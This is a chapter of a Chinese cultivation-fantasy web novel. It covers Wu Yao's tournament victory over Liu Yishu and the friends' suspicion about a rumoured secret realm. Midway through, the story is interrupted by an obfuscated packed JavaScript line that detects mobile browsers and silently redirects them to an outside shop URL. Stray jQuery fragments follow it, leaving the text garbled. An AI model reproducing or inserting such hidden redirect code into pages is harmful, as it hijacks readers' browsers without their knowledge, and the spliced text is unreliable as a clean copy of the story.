真玉长老见他不出声,问道:“小五?”
宋其逍摇头,“她不会来的。”
真玉长老不解,“为何?”
玄清长老也只是随口一提,但他好似是当真了。
“我们云清宗擅剑,符咒一术她要去也是去阵符宗,虽然现在的阵符宗大不如前。”
真玉长老瞥了眼身边那几位阵符宗长老,因为无人进入宗门大比前而气蔫蔫,哪有一个大宗门该有体面?
安逸了这么多年,这会儿也总该好好反省反省了。
至于乌遥,她定是瞧不上如今的阵符宗。
宋其逍的目光一直停留在那抹惊艳身影上。
乌遥神情专注地盯着云上万剑之后的人,猜想他会不会上钩。
可柳一树不愧是云清宗大师兄,他并没有像孟春生那样执着于那些灵力变幻出来的云上剑,而是瞬影消失不见。
乌遥挽唇,偏开头,感受到周身围绕自己的那股若隐若现的灵力波动。
柳一树身影飞快,出现在眼前一刻,下一瞬便如云般飘散,难以捉摸他下一步会出现在哪。
乌遥保持警惕,眼里却带着几分兴致,她闭上眼睛,仔细感受周边的灵力波动,推测柳一树的动作。
她侧身一躲,正好避开他的一剑,如此重复。
白扬和千万枝把人交给炼器宗的人之后便立即赶了回来,台上只见乌遥一人的身影,便问旁边的鹤鸣:“比试结束了?”
鹤鸣尽心尽力地抱着阿谁,“没有呢。”
白扬张望着,“那柳一树呢?”
鹤鸣给他们解释,“大师兄施展了云影步,我们瞧不见他,所以只能看见遥姐姐一个人。”
云影步。
千万枝在书中看过,这是云清宗独创的术法,施展之后,修者步伐飞速移动,除了施法者,旁人难以寻到一丝踪迹,似身处重重云雾之中。
看眼下情形,这柳一树应当是修炼得极其熟练。
白扬听完,神色也不见得有任何紧张,“没事,乌遥肯定可以破解这什么云什么步。”
“是云影步。”
鹤鸣这一次站在柳一树那边,“很难,大师兄施展的这招云影步除了我师父和几位师叔,几乎无人能破开。”
“怎么可能?遥姐姐再厉害修为才元婴境中期,而且师兄比到现在也一直没输过。除非真的像他们说的那样,遥姐姐已经突破元婴境后期了。”
但目前看来不可能,因为宋其逍之前与他说过乌遥的修为在元婴境中期。
仅仅过了几日,修为是不可能涨这么快的,所以他笃定乌遥破解不开柳一树的云影遁步。
白扬倒是知道乌遥是什么境界,但看着鹤鸣这副胜券在握的样子,他故意学起了乌遥高深。
“看来你师父没把所有事告诉你啊。”
鹤鸣皱眉“什么意思?”
没让他等到白扬的回答,千万枝合起书,把阿谁从鹤鸣怀里捞回来,坚信道:“乌遥一定能赢。”
鹤鸣怀里一空,依依不舍道:“哎哎,你怎么把它抱走了。”
千万枝面色仍旧苍白着,侧目看他的眼神戚戚,“阿谁不给你抱。”
鹤鸣哀怨道:“为何?”
千万枝看着乌遥展露出钦佩的目光,但因为鹤鸣方才说的话,她皱眉反驳他:“因为我们不与叛徒接触。”
鹤鸣瞠目结舌:“……我什么时候成叛徒了?”
千万枝不理他,全神贯注地看一次又一次躲开柳一树剑气的乌遥。
柳一树隐在云雾之中,又一次趁她不注意,持剑袭去,乌遥仍旧选择侧身,云上剑再次与她擦肩而过。
数不清这是乌遥第几次躲开了,看得一众人越来越替柳一树焦急。
柳一树也在时刻提醒自己保持沉稳,准备再次找机会挑翻乌遥下台。
可这一次,他大跌眼镜,剑锋在碰到乌遥之时,她整个人如云雾般在他眼前消失不见。
柳一树惊讶之余,乌遥却突然出现在他身后,清冷的声音带了几分悦色。
“谢了,这个我学会了,你也可以下去了。”
紧接着,一笔一画,一字一句,乌遥在他身后念道:“以风入灵,万景蔓草。”
鹤鸣被震惊地吓掉了下巴,看着乌遥熟悉的步调,“她居然在这么短的时间学会了云影步!”
云清宗一干长老也看出来了,他们这是被偷家了?
宋其逍眯了眯眼,比他还快学会云清遁步。
他嘴角提起来。
旁边的薛慈看见他嘴边的笑意,疑惑地揉了揉眼睛,再一看那笑意却又消失不见了,仿佛是他的错觉。
薛慈晃神回来,坚定地认为是自己看错了,大师兄都快输了,五师叔怎么可能会笑得出来?
他又不是那般无情无义之人,于是他继续为柳一树担忧着。
乌遥念完咒,自柳一树脚下而起一道细长卷风,风势巨大,他的衣袍疯狂被卷动,整齐的束发被吹得杂乱无章,整个人被狂风席卷,东倒西歪,立都立不稳。
此刻看台上有长老庆幸道:“幸亏宋师弟方才专门给看台加固了一层结界,不然这等风力还真让我等应付得有些吃力啊。”
之前为了比试尽兴,便只给底下未参赛的修者设了结界。
可自从乌遥的‘万景蔓草’后,各宗门长老纷纷都提议让宋其逍给看台也设一层结界。
因为顶着一头乱糟糟的头发,如此凌乱的形象在众人面前实在是难以立威。
那时宋其逍等云清宗一众人都没搭话,只有薛慈直白道:“连一个未及化神境修者卷出来的风都抵不过,怎么当人家长老的?”
说完之后,南玉湖掐了他一把,真玉长老也敲了他一个脑门,向被说中而黑脸的长老们道歉。
“不好意思,我这弟子说实话向来心直口快,各长老就莫要与小孩子置气了哈哈哈哈哈。”
真玉长老笑嘻嘻说完,这些长老脸色更加难看了。
但宋其逍给看台设下一层结界,确实是为了防止乌遥的万景蔓草让他们面上无光。
薛慈与真玉长老说得都是真话,难听也得听。
身处各宗门长老都害怕的万景蔓草之中,柳一树竭力在风中稳住自己的身形,持着云上剑,奋力抵抗乌遥的万景蔓草。
他骤然一喝:“云上万剑,破!”
云上剑再次化成无数道剑影,试图冲开这狂风。
深受万景蔓草其害的孟春生瘸着腿站在演武台下,看见柳一树能坚持这么久。
他心中肃然起敬:“柳道友真厉害,我昨日刚进去就被甩出来了,他居然还能在里面待这么久,莫不是他想到办法破掉乌遥的万景蔓草了?”
乌遥站在原地,纹丝不动,完全不受周边的影响,似是听见孟春生的心声。
她轻声道:“走吧。”
那股狂风听她号令,瞬间往演武台移动,下一刻,柳一树直接被甩飞出去。
孟春生:“……”乌鸦嘴。
原来乌遥的修为真的到了元婴境后期修为啊。
鹤鸣死死抿唇,想打死自己收回方才说过的话,眼巴巴地看着千万枝怀里的阿谁。
他无力辩解:“我方才什么都没有说。”
阿谁嫌弃地冲他嗷了一嗓子。
鹤鸣悻悻抹鼻。
白扬欢呼道:“乌遥!我就知道你能赢!”
千万枝高兴得在原地跳了起来,只有怀里阿谁被颠出舌头,生无可恋。
不同孟春生的狼狈,柳一树手中的云上剑插入地下帮他稳住身体,保持着先前的沉稳,泰然自若地面对自己的失败。
“我输了。”
他承认自己失败后,乌遥的名字登上积分榜第一。
南玉湖惊讶激动,正想开口宣布这个最振奋人心的结果时,却被宋其逍捷足先登,含着笑意的声音传遍整个演武台。
“比试结束,宗门大比第一,乌遥。”
这么重要的话被抢了,南玉湖委屈地望向自己的师父。
真玉长老笑眯眯地看着她,“你就别跟他气咯!让他说个够,好不容易看到铁树开花得嘞!”
南玉湖望着宋其逍嘴角的笑意,想起自家师父前几日与他们说过宋其逍心上人是乌遥的事情。
她悄然闭上嘴巴,眼眸疯狂在底下流转,满脸好奇。
乌遥听见是宋其逍声音,目不斜视地下台,柳一树跟在她身后。
他传音给她:“宗门大比结束了,事情也该有个结果了。”
她往白扬那瞧了眼,“等着就是。”
柳一树安心下来,默默跟着她走,浑然不知自己被看台上的人盯着看了好几眼。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673066|207407||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
白扬兴高采烈地想去抱乌遥,被她一瞪,倏地收回手,转去抱柳一树拍了拍他。
“输给乌遥,不亏!”
柳一树罕见地没出声。
怎么会不亏呢?
不仅输了比试,还让乌遥偷学会了云影步,简直亏死了!
千万枝抬眼,展颜一笑,“乌遥,恭喜你。”
乌遥摸了摸她的头,连她怀里阿谁也一并摸了摸,“谢谢。”
千万枝笑着低下头,蓦地一双靴子闯进自己的视线,她又抬起头。
柳一树乱糟糟的发丝挂在英俊的脸庞上,简直像个小疯子,惹得她扑哧一笑。
他走过来原本想关心一下她身体如何了,却没想到千万枝一见到他就忽然笑了。
第一次看她露出这么开心的笑颜,他微微愣神。
千万枝察觉自己反应有些失礼,又低下头去,“对不起,我不是故意要笑你的。”
柳一树眼里映着的笑意消失,被歉意取代,他回神过来,“啊,你笑是因为我?”
千万枝难为情地点头,从储物袋掏出一面鎏金铜镜递给他。
柳一树第一次如此衣冠不整地出现在人面前。
他即刻失了沉稳,急忙施展清洁术,整理衣着。
千万枝看见他恢复原本的模样,收好铜镜,笑意也彻底收了回去。
柳一树敏锐地察觉到她的变化,语气斟酌:“千姑娘,以后……我若是又变成了小疯子,你,能提醒我吗?”
宗门大比结束之后,他们就算是同生共死的伙伴了,此后便要经常碰面,提醒一下好像也不浪费她的时间。
千万枝点头答应下来,“好。”
乌遥与柳一树一战结束,也示意着宗门大比结束了。
今晚会在主山上开宴,庆祝宗门大比前五名优秀修者诞生,也顺道领取相应奖励。
乌遥让鹤鸣与消耗太多灵力的千万枝先回舍院休息,她随柳一树和白扬去了清山。
确保清山此刻就只剩下他们几人,乌遥将彤光传送过来的一只千纸鹤递给柳一树。
他打开,仔仔细细地看完之后,脸色阴沉下来。
白扬看过之后,面色与柳一树一样难看,“这说得可是真的?”
信上的内容她昨日便看完了,乌遥收好那只千纸鹤,“是真是假,等会儿就知道了。”
宗门大比结束了,那真相也该水落石出了。
她看向白扬,“你准备好了吗?”
柳一树拿出一堆补灵丹给他,“若是不行,你就把这些吃了,总好过没有。”
白扬塞回去给他,“放心,我一定会当着所有人,把这个人找出来的,让祭祀台上那些冤魂安心合眼。”
“若是事情有变,不可勉强,否则——”乌遥眉间拢着一团乌云,“你懂得。”
否则就给我滚回幽冥界。
白扬在心里替她把话说完,“知道了,我不会勉强的,我还要和你们一起去收拾那帮逃出幽冥界的兔崽子呢!”
乌遥无奈地摇头,想起一件从未对人说过的事情,对柳一树问道:“霞雾秘境,你可听说过?”
柳一树知道这个秘境,“为何忽然提起这个?”
来到云清宗之后,她并未听见有谁提及过霞雾秘境,现在她只需要确定五大宗门有没有要开启霞雾秘境意思,便能确定这条消息是否有人故意为之散播出来。
乌遥将自己在西州听见霞雾秘境即将开启之事告诉柳一树,其中略去她碰上朱狡和谷袁的事。
柳一树琢磨出这件事的不对劲,“不可能,师叔他们未曾提及,宗门大比期间我也没听人说过。”
白扬听得晕乎乎的,“这霞雾秘境有什么特别的吗?”
柳一树解释道:“这是千年前,一位至强尊者所遗留下来的秘境,听闻里面的宝物数之不尽,每一件宝物都有让人修炼便成为一界尊者的强大力量,但最关键的不是这个,是开启霞雾秘境需要阴阳令合二为一。”
白扬瞥了眼乌遥,“可另一半阴阳令不是不见了吗?”
柳一树深思推断道:“所以这个消息是假的,一定是有人故意放出来的,可是那个人为什么要传出这样的消息?”
乌遥有些担心。
担心有人想要利用霞雾秘境寻找失踪的一半阴阳令做出危害三界的事情。